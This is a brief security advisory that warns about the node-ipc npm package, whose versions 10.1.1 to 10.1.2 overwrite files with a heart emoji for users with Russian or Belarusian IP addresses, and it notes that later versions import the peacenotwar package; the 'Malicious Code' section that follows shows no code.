This affects the package node-ipc from 10.1.1 and before 10.1.3.
 This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji.

**Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior.

 Malicious Code:

**Note:** Don't run it!
